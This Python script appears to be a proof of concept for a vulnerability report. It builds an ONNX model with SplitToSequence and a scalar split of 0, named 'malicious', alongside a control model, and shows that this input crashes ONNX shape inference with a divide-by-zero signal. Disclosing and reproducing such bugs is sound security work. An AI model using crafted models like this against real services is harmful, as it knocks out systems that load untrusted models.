| |
| """Reproduce ONNX SplitToSequence scalar split=0 shape-inference SIGFPE. |
| |
| The parent process builds two minimal ONNX models and runs shape inference in |
| child processes so the crash can be observed without killing the harness. |
| """ |
|
|
| from __future__ import annotations |
|
|
| import argparse |
| import subprocess |
| import sys |
| from pathlib import Path |
|
|
| import onnx |
| from onnx import TensorProto, helper |
|
|
|
|
| def build_model(split_value: int) -> onnx.ModelProto: |
| input_info = helper.make_tensor_value_info("input", TensorProto.FLOAT, [6, 4]) |
| output_info = helper.make_tensor_sequence_value_info("output_sequence", TensorProto.FLOAT, None) |
| split = helper.make_tensor("split", TensorProto.INT32, [], [split_value]) |
| node = helper.make_node( |
| "SplitToSequence", |
| ["input", "split"], |
| ["output_sequence"], |
| axis=0, |
| keepdims=1, |
| ) |
| graph = helper.make_graph( |
| [node], |
| f"split_to_sequence_scalar_{split_value}", |
| [input_info], |
| [output_info], |
| initializer=[split], |
| ) |
| return helper.make_model(graph, opset_imports=[helper.make_opsetid("", 25)]) |
|
|
|
|
| def run_child(model_path: Path) -> subprocess.CompletedProcess[str]: |
| child = f""" |
| import faulthandler |
| faulthandler.enable() |
| import onnx |
| model = onnx.load({str(model_path)!r}) |
| print("loaded=" + {model_path.name!r}, flush=True) |
| onnx.checker.check_model(model) |
| print("checker_passed", flush=True) |
| onnx.shape_inference.infer_shapes(model, strict_mode=True) |
| print("shape_inference_returned", flush=True) |
| """ |
| return subprocess.run( |
| [sys.executable, "-c", child], |
| text=True, |
| stdout=subprocess.PIPE, |
| stderr=subprocess.PIPE, |
| check=False, |
| ) |
|
|
|
|
| def main() -> int: |
| parser = argparse.ArgumentParser() |
| parser.add_argument("--out-dir", default=".", help="Directory for generated ONNX files.") |
| parser.add_argument( |
| "--direct-crash", |
| action="store_true", |
| help="Run the malicious infer_shapes call in this process for gdb/backtrace capture.", |
| ) |
| args = parser.parse_args() |
|
|
| out_dir = Path(args.out_dir) |
| out_dir.mkdir(parents=True, exist_ok=True) |
|
|
| if args.direct_crash: |
| path = out_dir / "malicious_split_0.onnx" |
| onnx.save(build_model(0), path) |
| print(f"python={sys.version.split()[0]}", flush=True) |
| print(f"onnx={onnx.__version__}", flush=True) |
| print(f"loaded={path.name}", flush=True) |
| model = onnx.load(path) |
| onnx.checker.check_model(model) |
| print("checker_passed", flush=True) |
| onnx.shape_inference.infer_shapes(model, strict_mode=True) |
| print("shape_inference_returned", flush=True) |
| return 0 |
|
|
| cases = [ |
| ("control_split_2.onnx", 2), |
| ("malicious_split_0.onnx", 0), |
| ] |
|
|
| print(f"python={sys.version.split()[0]}") |
| print(f"onnx={onnx.__version__}") |
| for filename, split_value in cases: |
| path = out_dir / filename |
| onnx.save(build_model(split_value), path) |
| print(f"\n== {filename} split={split_value} ==") |
| result = run_child(path) |
| print(result.stdout, end="") |
| print(result.stderr, end="") |
| print(f"returncode={result.returncode}") |
|
|
| return 0 |
|
|
|
|
| if __name__ == "__main__": |
| raise SystemExit(main()) |
|
|
